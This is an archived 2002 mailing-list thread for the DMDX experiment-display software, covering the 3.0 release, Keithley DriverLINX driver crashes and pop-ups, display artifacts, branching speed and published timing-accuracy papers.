DMDX-owner@psy1.psych.arizona.edu Precedence: list Hmm, the reasons to dislike Keithley interface cards and their DriverLINX drivers keep on piling up. If I benchmark the routines by calling them 1000 times consecutively they corrupt the stack and things generally go to hell in hand basket. Ok, I can live with that, we just bench them by calling them 10 times. But the results of benchmarks are shocking, it takes more than a 10th of a millisecond to call their routines and of course it takes three calls to modify all 3 ports on the card. Haven't seen those kind of figures since the polling of old analog joysticks. Compare that with the Computer Boards' interface card InstaCal drivers that take just over 1 microsecond, one hundred times faster and one third the price. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It will be generally found that those who sneer habitually at human nature and affect to despise it, are among its worst and least pleasant examples. - Charles Dickens >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 20 13:00:42 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7KJq1MS002232 for ; Tue, 20 Aug 2002 12:52:01 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D49B245002379F3 for DMDX@psy1.psych.arizona.edu; Tue, 20 Aug 2002 12:52:12 -0700 Message-Id: <5.1.0.14.2.20020820123932.00b130d8@psy1.psych.arizona.edu> Date: Tue, 20 Aug 2002 12:52:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Looks like DMDX 3.0.0.00 is ready for release so it's now the current version up on the web page. TimeDX 3.0.00 will have to be used to setup all the registry keys containing settings and timing information for video modes as versions 1, 2, and 3 use different branches of the registry. Changes include DirectX 7 being the minimum version of DirectX needed, Windows 95 support has been dropped, the Computer Boards cbw32.dll need not be included anymore unless their hardware is actually going to be used, the syntax check now checks the correct registry key, support for the overpriced Keithley cards has been added using the wretched DriverLINX drivers, has been tweaked to allow setting the initial output state, and DMDX now doesn't allow reprogramming number of display lines under NT/2k/XP (which would just throw a protection fault). And I can now use a halfway modern compiler for DMDX... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Our policy is, when in doubt, do the right thing. - Roy L. Ash, ex-president Litton Industries >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 01:41:18 2002 Received: from pp.dundee.ac.uk (pp.dundee.ac.uk [134.36.2.60]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7L8URMS003580 for ; Wed, 21 Aug 2002 01:30:28 -0700 Received: from psychology.dundee.ac.uk ([134.36.104.15]) by pp.dundee.ac.uk with esmtp (Exim 3.22 #2) id 17hQst-0007WQ-00 for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 09:30:35 +0100 Received: from PSYCH/SpoolDir by psychology.dundee.ac.uk (Mercury 1.48); 21 Aug 02 09:30:36 +0000 Received: from SpoolDir by PSYCH (Mercury 1.48); 21 Aug 02 09:30:15 +0000 From: ""Maria Nella Carminati"" To: DMDX@psy1.psych.arizona.edu Date: Wed, 21 Aug 2002 09:30:14 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] quirks in display Message-ID: <3D635DA5.627.223031@localhost> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, I have just set up a self paced reading experiment with DMDX. It displays text line by line separately. The problem I am having is that on some lines I get faint dots ( making up the shape of a rectangle) appearing on the screen under the line. This is distracting for the participants. The puzzle is that these dots do not appear on all runs of the same stimulus file, only on some runs, and I can't work out what triggers them. I am using the command in the parameter line to erase all stray pixels. Has anyone had this problem before? Thanks Maria Nella Carminati Dr.Maria Nella Carminati Dept.Of Psychology University Of Dundee Dundee DD1 4HN Scotland Phone: *44 (0) 1382 348 259 Fax: *44 (0) 1382 229 993 >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 01:54:48 2002 Received: from psych.york.ac.uk (psysgi1.york.ac.uk [144.32.162.63]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g7L8siMS003689 for ; Wed, 21 Aug 2002 01:54:44 -0700 Received: (qmail 25984 invoked from network); 21 Aug 2002 08:54:47 -0000 Received: from laurel1.york.ac.uk (HELO laurel1.psych.york.ac.uk) (144.32.163.33) by psysgi1.york.ac.uk with SMTP; 21 Aug 2002 08:54:47 -0000 Message-Id: <5.1.1.6.0.20020821094611.02258a40@pop.psych.york.ac.uk> Date: Wed, 21 Aug 2002 09:54:57 +0100 To: DMDX@psy1.psych.arizona.edu From: Gareth Gaskell Subject: [DMDX] Re: quirks in display In-Reply-To: <3D635DA5.627.223031@localhost> Mime-Version: 1.0 Content-Type: multipart/mixed; x-avg-checked=avg-ok-67261EAF; boundary=""=======5B721A24======="" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=======5B721A24======= Content-Type: text/plain; x-avg-checked=avg-ok-67261EAF; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit At 09:30 21/08/2002 +0100, you wrote: >Hello, >I have just set up a self paced reading experiment with DMDX. It >displays text line by line separately. The problem I am having is >that on some lines I get faint dots ( making up the shape of a >rectangle) appearing on the screen under the line. This is >distracting for the participants. The puzzle is that these dots do >not appear on all runs of the same stimulus file, only on some runs, >and I can't work out what triggers them. I am using the command 5,0,2,5> in the parameter line to erase all stray pixels. > >Has anyone had this problem before? Hi Maria, you could try increasing the final number of the os command (e.g., ), which increases the chances of catching stray pixels below the text. If you have randomised ordering of trials you might want to look at whether the problem occurs consistently on the trial *after* certain trials (with ""g""s or ""y""s or other low hanging letters). This is a problem we had! Gareth --=======5B721A24=======-- >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 02:23:35 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7L9EDMS003771 for ; Wed, 21 Aug 2002 02:14:13 -0700 Received: from [193.63.253.157] (helo=pc125.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 4.10) id 17hRZ6-00059g-00 for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 10:14:12 +0100 Message-Id: <5.1.0.14.2.20020821095727.01c08500@193.63.253.1> Date: Wed, 21 Aug 2002 10:14:44 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: DMDX 3.0.0.00 In-Reply-To: <5.1.0.14.2.20020820123932.00b130d8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, > Looks like DMDX 3.0.0.00 is ready for release so it's now > the current version up on the web page Thanks very much. I've just tried it, and it seems to work in Windows 2000 with the overpriced Keithley card. There are two problems I encountered: When you run a script for the first time everything goes fine. But when it has finished and you restart DMDX and try again there's an error message: ""Error 0 setting up DriverLINX Device 0"" Also, DMDX doesn't seem to respond to the ESC key anymore, making it impossible to stop a running script. Maarten >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 08:46:06 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7LFjfMS004587 for ; Wed, 21 Aug 2002 08:45:41 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by phobos.email.Arizona.EDU (6.0.053) id 3D49B24500254650 for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 08:45:49 -0700 Message-Id: <5.1.0.14.2.20020821083401.00b12828@psy1.psych.arizona.edu> Date: Wed, 21 Aug 2002 08:45:48 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3.0.0.00 In-Reply-To: <5.1.0.14.2.20020821095727.01c08500@193.63.253.1> References: <5.1.0.14.2.20020820123932.00b130d8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:14 AM 8/21/2002 +0100, you wrote: >Also, DMDX doesn't seem to respond to the ESC key anymore, making it >impossible to stop a running script. The Keithley DriverLINX crap has crashed, the ESC most definitely hasn't changed function. I had the damndest time finding a combination of calls that didn't screw the machine up, patently the combination I wound up with that works on my winME machine doesn't work under win2k. The problem would only occur as the second job was stopped, if you exited DMDX between runs everything was fine, run two jobs in a row though and the Keithley CloseDriverLINX() call crashes. Well, try using , for a start the qpio12 device's timing will be better under win2k than the pure pio12 device and for a second it also has the nice effect of not crashing the DriverLINX crap. The problem originates from the fact that DMDX is massively multithreaded and DriverLINX does not handle threads at all well and when using a pio12 device there has to be two threads that have to have access to the PIO12, the qpio12 OTOH is all accessed from the kernal callback so it should be fine. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can measure a programmer's perspective by noting his attitude on the continuing viability of FORTRAN. - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 09:18:57 2002 Received: from relay2.uni-heidelberg.de (relay2.uni-heidelberg.de [129.206.210.211]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7LGIoMS004748 for ; Wed, 21 Aug 2002 09:18:50 -0700 Received: from ix.urz.uni-heidelberg.de (mail.urz.uni-heidelberg.de [129.206.119.234]) by relay2.uni-heidelberg.de (8.12.4/8.12.4) with ESMTP id g7LGIudV003426 for ; Wed, 21 Aug 2002 18:18:57 +0200 (MET DST) Received: from aixterm7.urz.uni-heidelberg.de (jzwickel@aixterm7.urz.uni-heidelberg.de [129.206.119.47]) by ix.urz.uni-heidelberg.de (8.8.8/8.8.8) with ESMTP id SAA36340 for ; Wed, 21 Aug 2002 18:18:56 +0200 Received: (from jzwickel@localhost) by aixterm7.urz.uni-heidelberg.de (AIX4.2/UCB 8.7/8.7) id SAA34632; Wed, 21 Aug 2002 18:18:56 +0200 (METDST) Date: Wed, 21 Aug 2002 18:18:56 +0200 (METDST) From: Jan Zwickel To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Speeding up branching Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, does anybody know a trick how you can make branching faster? I want to present many stimuli to subjects and depending on their responses branch to different locations. The problem is that subjects must not be aware which action has an effect on the sequence. Unfortunately, sometimes the next item is about 400 lines away which takes up to 10 seconds. Is there any way to speed this up? Thanks Jan >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 09:37:46 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7LGbfMS004847 for ; Wed, 21 Aug 2002 09:37:42 -0700 Received: from [193.63.253.227] (helo=PC195.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17hYUP-00028i-00 for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 17:37:49 +0100 Message-Id: <5.1.1.6.2.20020821173448.04c61c40@193.63.253.1> Date: Wed, 21 Aug 2002 17:36:54 +0100 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: Speeding up branching In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 18:18 21/08/2002 +0200, you wrote: >Hi, >does anybody know a trick how you can make branching faster? >I want to present many stimuli to subjects and depending on their >responses branch to different locations. The problem is that subjects must >not be aware which action has an effect on the sequence. Unfortunately, >sometimes the next item is about 400 lines away which takes up to 10 >seconds. Is there any way to speed this up? What takes time is the enforced delay between items. You can set this to a lower value (e.g. 0) using the keyword in the top line of your item file. However, you'll then need to add a blank frame at the start of each item so that there is a sensible pause between items. Hope this helps, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 09:58:18 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7LGw9MS004986 for ; Wed, 21 Aug 2002 09:58:09 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D49B245002575FD for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 09:58:17 -0700 Message-Id: <5.1.0.14.2.20020821095529.00b130d8@psy1.psych.arizona.edu> Date: Wed, 21 Aug 2002 09:58:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Speeding up branching In-Reply-To: <5.1.1.6.2.20020821173448.04c61c40@193.63.253.1> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:36 PM 8/21/2002 +0100, you wrote: >At 18:18 21/08/2002 +0200, you wrote: >>Hi, >>does anybody know a trick how you can make branching faster? >>I want to present many stimuli to subjects and depending on their >>responses branch to different locations. The problem is that subjects must >>not be aware which action has an effect on the sequence. Unfortunately, >>sometimes the next item is about 400 lines away which takes up to 10 >>seconds. Is there any way to speed this up? > > >What takes time is the enforced delay between items. You can set this to a >lower value (e.g. 0) using the keyword in the top line of your >item file. >However, you'll then need to add a blank frame at the start of each item >so that there is a sensible pause between items. He needs to read the documentation on speeding up branching: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm Down the bottom it provides a link if speed issues are a concern: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhskipdisplaykeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Our policy is, when in doubt, do the right thing. - Roy L. Ash, ex-president Litton Industries >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 10:33:38 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7LHXUMS005105 for ; Wed, 21 Aug 2002 10:33:34 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D49B245002592A4 for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 10:33:39 -0700 Message-Id: <5.1.0.14.2.20020821103106.00b130d8@psy1.psych.arizona.edu> Date: Wed, 21 Aug 2002 10:33:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] branching speed Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Another thing is to make sure you're using 2.2.00 or later of DMDX as that's when code that buffers item locations got added and therefore once an item's location is encountered any future branches to it should be all but instantaneous. Unless I broke the buffering code of course... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Our policy is, when in doubt, do the right thing. - Roy L. Ash, ex-president Litton Industries >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 12:30:09 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7LJOHMS005382 for ; Wed, 21 Aug 2002 12:24:17 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D49B2450025E175 for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 12:24:25 -0700 Message-Id: <5.1.0.14.2.20020821121029.00b130e8@psy1.psych.arizona.edu> Date: Wed, 21 Aug 2002 12:24:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] more branching stuff Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list And then of course there's the Branch Diagnostics: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchdiagnosticskeyword.htm If you turn that on you should see messages like the following: Item %d Not Found beforehand, searching forwards instead They should disappear once the item that is being branched to has been executed once if the branch buffering is functioning. If you download 3.0.0.01 there will be an additional branch diagnostic for use of buffered item locations: Using buffered location for branch to item %d If you always see the former message I've screwed something up and you're welcome to send your item file to me at jforster@email.arizona.edu. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Our policy is, when in doubt, do the right thing. - Roy L. Ash, ex-president Litton Industries >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 15:18:59 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7LMIMMS005785 for ; Wed, 21 Aug 2002 15:18:22 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (6.0.053) (authenticated as kforster@email.arizona.edu) id 3D49B2450026558D for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 15:18:29 -0700 Message-Id: <5.1.1.6.1.20020821151906.0213eec0@kforster.inbox.email.arizona.edu> Date: Wed, 21 Aug 2002 15:20:19 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] ***New article on timing accuracy*** Mime-Version: 1.0 Content-Type: text/html; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDXers,         The management is pleased to announce that our paper documenting the timing accuracy of DMDX has finally been accepted.         You now have an official document to cite when mentioning DMDX: Forster, K.I., & Forster, J.C. (in press). DMDX: A Windows display program with millisecond accuracy.  Behavior Research Methods, Instruments, and Computers.         A .pdf copy can be viewed from the DMDX homepage.         The best test of all was the last.  Jonathan set up a test bed that involved a 10 frame RSVP sequence (27.46 ms per frame).  The clock was turned on at the first frame, and a phototransistor was triggered by the last frame, which in turn triggered a PIO response.  If everything worked perfectly (i.e., the refresh interval established by TimeDX was exactly correct, and there were no display errors, and the timing of the response was perfect), then the observed RT should have been 274.6 ms.  Over 100 trials, the mean was 278.56 with a SD of 0.53 ms.  Considering that the photocell and the PIO add a delay, this is pretty close to perfect.         --k.i.f. >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 21 23:29:12 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7M6LvMS006781 for ; Wed, 21 Aug 2002 23:21:57 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by deimos.email.Arizona.EDU (6.0.053) id 3D5A23F600106663 for DMDX@psy1.psych.arizona.edu; Wed, 21 Aug 2002 23:22:04 -0700 Message-Id: <5.1.0.14.2.20020821231557.00b12858@psy1.psych.arizona.edu> Date: Wed, 21 Aug 2002 23:22:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] fast branching Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Ahah, one last thing occurs to me. Assuming the branch item location buffering is working but your item file is always branching to new item numbers so the buffering isn't of much use you could force buffering of all item locations ahead of time by branching to the end of the item file in the first item and then at the end branch back to the second item. That way DMDX parses the whole item file first and all unique item number locations are buffered beforehand. If ending the item file is a problem the destination at the end of the item file doesn't necessarily have to be the literal last item, just past all the branch destination items. Or you can use the last frame keyword to end the run. Now I can go to sleep... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can measure a programmer's perspective by noting his attitude on the continuing viability of FORTRAN. - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 22 03:55:21 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7MAssMS007353 for ; Thu, 22 Aug 2002 03:54:54 -0700 Received: from [193.63.253.227] (helo=PC195.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17hpbl-0000na-00; Thu, 22 Aug 2002 11:54:33 +0100 Message-Id: <5.1.1.6.2.20020822114519.04c5dc10@193.63.253.1> Date: Thu, 22 Aug 2002 11:54:16 +0100 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: ***New article on timing accuracy*** Cc: Kathy Rastle In-Reply-To: <5.1.1.6.1.20020821151906.0213eec0@kforster.inbox.email.ari zona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 15:20 21/08/2002 -0700, Kenneth Forster wrote: >Dear DMDXers, > > The management is pleased to announce that our paper documenting > the timing accuracy of DMDX has finally been accepted. > > You now have an official document to cite when mentioning DMDX: > >Forster, K.I., & Forster, J.C. (in press). DMDX: A Windows display program >with millisecond accuracy. Behavior Research Methods, Instruments, and >Computers. > > A .pdf copy can be viewed from the DMDX homepage. > > The best test of all was the last. Jonathan set up a test bed > that involved a 10 frame RSVP sequence (27.46 ms per frame). The clock > was turned on at the first frame, and a phototransistor was triggered by > the last frame, which in turn triggered a PIO response. If everything > worked perfectly (i.e., the refresh interval established by TimeDX was > exactly correct, and there were no display errors, and the timing of the > response was perfect), then the observed RT should have been 274.6 > ms. Over 100 trials, the mean was 278.56 with a SD of 0.53 > ms. Considering that the photocell and the PIO add a delay, this is > pretty close to perfect. > > --k.i.f. Congratulations Jonathan and Ken! I was just reading it and thinking what a thorough job you had done. People on this list may also be interested to hear about a paper that Kathy Rastle and I have just published describing the DMDX software voice key (DigitalVox) and comparing results obtained with DMDX, a standard electronic voice key, and hand marking of acoustic onsets. You can read more here: Rastle, K., & Davis, M. H. (2002). On the Complexities of Measuring Naming. Journal of Experimental Psychology: Human Perception and Performance, 28(2), 307-314. Or email me for a pdf copy. Cheers, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 22 09:20:27 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7MGK4MS008099 for ; Thu, 22 Aug 2002 09:20:08 -0700 Received: from [193.63.253.157] (helo=pc125.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17hugr-00055Z-00 for DMDX@psy1.psych.arizona.edu; Thu, 22 Aug 2002 17:20:09 +0100 Message-Id: <5.1.0.14.2.20020822171828.01d82ac8@193.63.253.1> Date: Thu, 22 Aug 2002 17:20:51 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: DMDX 3.0.0.00 In-Reply-To: <5.1.0.14.2.20020821083401.00b12828@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020821095727.01c08500@193.63.253.1> <5.1.0.14.2.20020820123932.00b130d8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, > Well, try using , for a start the qpio12 device's timing will be better > under win2k than the pure pio12 device and for a second it also has the nice > effect of not crashing the DriverLINX crap. I tried that, and it works fine: both problems seem to be solved now. I will try to do some test to determine how well the timing is in this setup (DMDX 3.0, Win2000, Keithley PIO) and let you know the results. Thanks, Maarten >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 22 13:53:18 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7MKk7MS008730 for ; Thu, 22 Aug 2002 13:46:07 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id g7MKkC8f004571 for ; Thu, 22 Aug 2002 22:46:12 +0200 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Thu, 22 Aug 2002 22:46:10 +0200 Message-Id: Date: Thu, 22 Aug 2002 22:43:35 +0200 From: ""Derek Eder"" To: Subject: [DMDX] DMDX 3.0.0.00 and DriverLINX pop up Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I downloaded DMDX 3.0 today and spend a few minutes (only) playing with it. Every time I launch DMDX I get a DriverLINX pop up window that asks me to select the PIO-12 device. Is there a way of avoiding this pop-up? Why? Because I have a 90 minute battery of psychophysiological tests written in DMDX that runs automatically from a ""dos"" batch file. The pop-up window would force me to wake up every couple of minutes to keep things running :) Providing that DMDX 3.0 works out for me, I'll migrate the system from Windows 98 to Windows 2000 or beyond. (context: DMDX 3.0, Windows 98, Keithley PIO-12) Thank you, Derek Eder P.S. DMDX version 2.? has been wonderful to me this past year! >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 22 18:18:35 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7N1HJMS009496 for ; Thu, 22 Aug 2002 18:17:19 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by deimos.email.Arizona.EDU (6.0.053) id 3D5A23F6001291D9; Thu, 22 Aug 2002 18:17:23 -0700 Message-Id: <5.1.0.14.2.20020822180848.00b127a8@psy1.psych.arizona.edu> Date: Thu, 22 Aug 2002 18:17:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3.0.0.00 and DriverLINX pop up In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:43 PM 8/22/2002 +0200, you wrote: >I downloaded DMDX 3.0 today and spend a few minutes (only) playing with >it. Every time I launch DMDX I get a DriverLINX pop up window that asks >me to select the PIO-12 device. Is there a way of avoiding this pop-up? That's DriverLINX for you, it's pathetic -- all their programming examples are dialog boxes, well guys, if I'm writing a program perhaps maybe I want to automate this process, just maybe? Their whole modus operandi is wrong. You selected the device in TimeDX's PIO test and so forth? I never saw any dialog like you describe but then I never ran DMDX from the command line with DriverLINX so maybe there's something I can replicate at work tomorrow. Perhaps you've got some weird setting set in the DriverLINX configuration that requires manual intervention. >Why? Because I have a 90 minute battery of psychophysiological tests >written in DMDX that runs automatically from a ""dos"" batch file. The >pop-up window would force me to wake up every couple of minutes to keep >things running :) I would certainly hope this is possible but knowing DriverLINX nothing's certain. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can measure a programmer's perspective by noting his attitude on the continuing viability of FORTRAN. - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 22 18:37:26 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7N1bMMS009614 for ; Thu, 22 Aug 2002 18:37:22 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by deimos.email.Arizona.EDU (6.0.053) id 3D5A23F60012992A for DMDX@psy1.psych.arizona.edu; Thu, 22 Aug 2002 18:37:26 -0700 Message-Id: <5.1.0.14.2.20020822183327.00b1a900@psy1.psych.arizona.edu> Date: Thu, 22 Aug 2002 18:37:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3.0.0.00 and DriverLINX pop up In-Reply-To: <5.1.0.14.2.20020822180848.00b127a8@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:17 PM 8/22/2002 